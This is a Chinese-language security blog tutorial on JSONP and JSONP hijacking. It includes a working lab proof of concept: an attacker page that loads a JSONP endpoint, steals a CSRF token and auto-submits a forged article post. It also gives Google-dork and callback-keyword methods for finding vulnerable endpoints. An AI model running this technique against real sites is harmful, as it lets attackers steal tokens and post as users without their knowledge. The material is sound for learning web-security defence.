jsonp劫持漏洞

0x00 前言

jsonp在跨域资源共享方面已存在了好多年,jsonp劫持技术也已被大佬们用烂了,本篇文章从介绍什么是jsonp开始,由浅入深介绍jsonp劫持漏洞产生的前因后果。重新拾一拾这个被遗忘在角落的漏洞。

0x01 何为jsonp

所谓jsonp,其实是聪明的程序们为了克服同源策略实现跨域资源共享的一种方式,一经出现便得到广泛应用,逐渐成为一种非官方跨域数据交换协议。而它与json又有什么关系呢?准确来说关系不大,只不过json作为一种轻量级的数据交换格式,能够被多种语言直接使用,因此jsonp这种数据共享方式也使用了json格式来共享数据,即JSON with Padding。既然json只是一种数据交换格式,那么使用jsonp这种方式共享其他数据格式也是可以的,比如说直接用字符串。

0x02 为什么要使用jsonp

既然json就能够直接被多种语言直接使用,为啥在进行数据交换时还得padding一下,变为jsonp呢?其实在上面就已经提到过了,jsonp并不是简单的为了数据交换,而是实现跨域资源共享。我们知道,因为同源策略的存在,致使资源不能跨域访问,这时如果想跨域进行资源访问,就可以使用jsonp这种方式了。

下面我们搭建一个简单的环境理解一下,json.json文件中保存要共享的资源,get_json.html用于获取资源

1
2
//json.json
{ username: "boogle", password: "zhengbao.wang" }
1
2
3
4
5
6
7
8
9
10
11
//get_json.html
<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'></script>
<script >
$.ajax({
url: 'http://192.168.111.132/json.json',
type:"get",
dataType: "json",
success: function (data) {
console.log(data);}
})
</script>

在同源环境进行数据获取时,一切正常。

get_json.html放在与json.json不同源的地方访问时,会出现报错

那为啥jsonp为啥能进行跨域资源访问呢?如果你足够仔细,便会发现在上面get_json.html代码的第一行,<script>标签中是引用了百度的jquery,但是这个http://libs.baidu.com与我们的数据完完全全是不同源的呀,为啥可以这样引用呢,这是因为<script>标签并不遵循同源策略,可以直接进行跨域资源访问。而聪明的程序员们也正是利用了这一点,实现了jsonp.

0x03 如何使用jsonp

既然<script>标签可以跨域,那么便可以直接构造一个<script>标签进行跨域资源访问了

1
2
3
4
5
6
7
8
9
//get_jsonp.html
<body>
<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'></script>
<script>
var s = document.createElement('script');
s.src = 'http://192.168.111.132/json.json';
document.body.appendChild(s);
</script>
</body>

访问之后却报错了。此时虽然报错,但是仔细观察一下,这时其实已经访问到跨域的json.json文件了,只不过该文件中的内容并不符合javascript代码规范,导致了报错。

此时只需将json.json中的内容按照代码规范去规定,便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法,并带入参数即可,这也就是jsonp的核心原理。

重新写一下get_jsonp.html和定义json.json的文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
//get_jsonp.html
<body>
<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'></script>
<script type="text/javascript">
function callback(json) {
console.log(json);
}

var s = document.createElement('script');
s.src = 'http://192.168.111.132/json.json';
document.body.appendChild(s);
</script>
</body>

在json.json中按照javascript代码规范调用callback函数,并将数据作为参数传入

1
2
//json.json
callback({ username: "boogle", password: "zhengbao.wang" })

成功实现跨域资源访问

0x04 jsonp劫持漏洞

说到现在,jsonp在实现跨域资源访问这方面确实是一种不错的选择,可以说是广大程序员们智慧的结晶,但是任何事物都有两面性,jsonp也不例外。如果通过一些敏感的数据通过这种方式去传输,便很容易造成信息泄露,但这并不是jsonp引起的,因为即使使用json格式,去传输上面的类似的账号密码信息,攻击者一样可以通过直接访问获取到敏感数据。但是,因为jsonp实现了跨域资源访问,如果获取的数据能够成为下一步操作的凭证,那么便可以引起csrf,即jsonp劫持。

比如说,一个用户发表文章的操作,需要验证token防止csrf,而这个token的获取,确是通过jsonp这种方式,那么攻击者便可以在自己的网页实现跨域获取token,并让这个用户发表文章。此时只要用户点击这个页面,便会神不知鬼不觉的发表一篇文章,如果发表的文章中带有这个恶意页面链接,那么所有点击的人都会发送这样一篇文章,从而实现csrf蠕虫。而且由于jsonp跨域的操作,使得原本可以预防csrf的token形同虚设。

在乌云上一搜,可以看到许多大厂都有过jsonp劫持的案例

这里简单写一个演示demo去理解,为了方便,代码中涉及到的token等都被写死了。

模拟一个发表文章页面,只有在token正确的情况下才会发表,避免了csrf。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if(!empty($_POST['token'])){


$csrf_token = $_POST['token'];
$title = $_POST['title'];
$content = $_POST['content'];
if ($csrf_token === 'NKJJDkajwdadwdad_csrf_token_test')
{
echo '文章发表成功~'.'</br>';
echo $title.'</br>';
echo $content;
}
else
{
echo 'csrf token error';
}
}
else
{
echo 'no token';
}
?>

跟之前一样,token被保存在json.json

1
callback({"username":"boogle","password":"zhengbao.wang","token":"NKJJDkajwdadwdad_csrf_token_test"})

现在模拟黑客,写一个页面诱导用户点击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//hello.html
<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://192.168.111.132/add.php" method="POST" id="csrfsend">
<input type="hidden" name="content" value="I can control you">
<input type="hidden" name="title" value="hello,jsonp">
<input type="hidden" id="token" name="token" value="">
</form>
<script type="text/javascript">
function callback(obj){
console.log(obj);
var token = obj["token"];
document.getElementById("token").value = token;
document.getElementById("csrfsend").submit();
}
</script>
<script type="text/javascript" src="http://192.168.111.132/json.json"></script>
</body>
</html>

此时攻击者将页面存放在自己的服务器http://192.168.111.1/hello.html,并诱导用户点击。

可以看到,token被获取到并成功验证,发表了一篇文章。

0x05 漏洞挖掘思路

jsonp劫持漏洞的挖掘,可以借助于搜索引擎,使用Google Hacking语法针对目标站点进行关键词搜索。

比如

1
site:zhengbao.wang inurl:callback

常见的关键词有

1
2
3
4
5
6
7
8
9
10
11
12
callback
jsoncallback
jsonpcallback
jsoncall
jsonpcall
cb
jsoncb
jsonpcb
=json
=jsonp
=jQuery
.......

此外,还可以在对目标站点浏览器时,打开F12开发者工具,点击network窗口并勾选preserve log,查看请求记录并进行关键词筛选。

筛选的依据同样可以从上面的关键词中挑选

查找到后需要进行确认,判断其是否是真的jsonp方法,可通过跨域浏览实现,将前面的get_jsonp.html进行修改,<script>标签内的src改为目标url,将callback等关键词后面的回调函数名改为我们定义的函数名称。修改完后,放在我们的站点继续访问

能够获取到数据即可确定

当然,并不是所有的数据都是有用的,应重点关注一些敏感信息泄露及csrf token等,便于后续利用。

0x06 后记

文中所提到的demo,为了简单,都已经写死了,但是真正的jsonp在使用起来可以变得更加复杂,包括可以获取动态的token值,可以使用动态的callback函数等,本文旨在对jsonp即jsonp劫持漏洞的扫盲,更多的操作可查阅详细的资料。

参考文章:

https://m.php.cn/article/394158.html

https://www.leavesongs.com/HTML/sina-jsonp-hijacking-csrf-worm.html

本文标题:jsonp劫持漏洞

文章作者:boogle

发布时间:2019年08月16日 - 16:28

最后更新:2019年10月12日 - 09:55

原始链接:https://zhengbao.wang/jsonp劫持漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗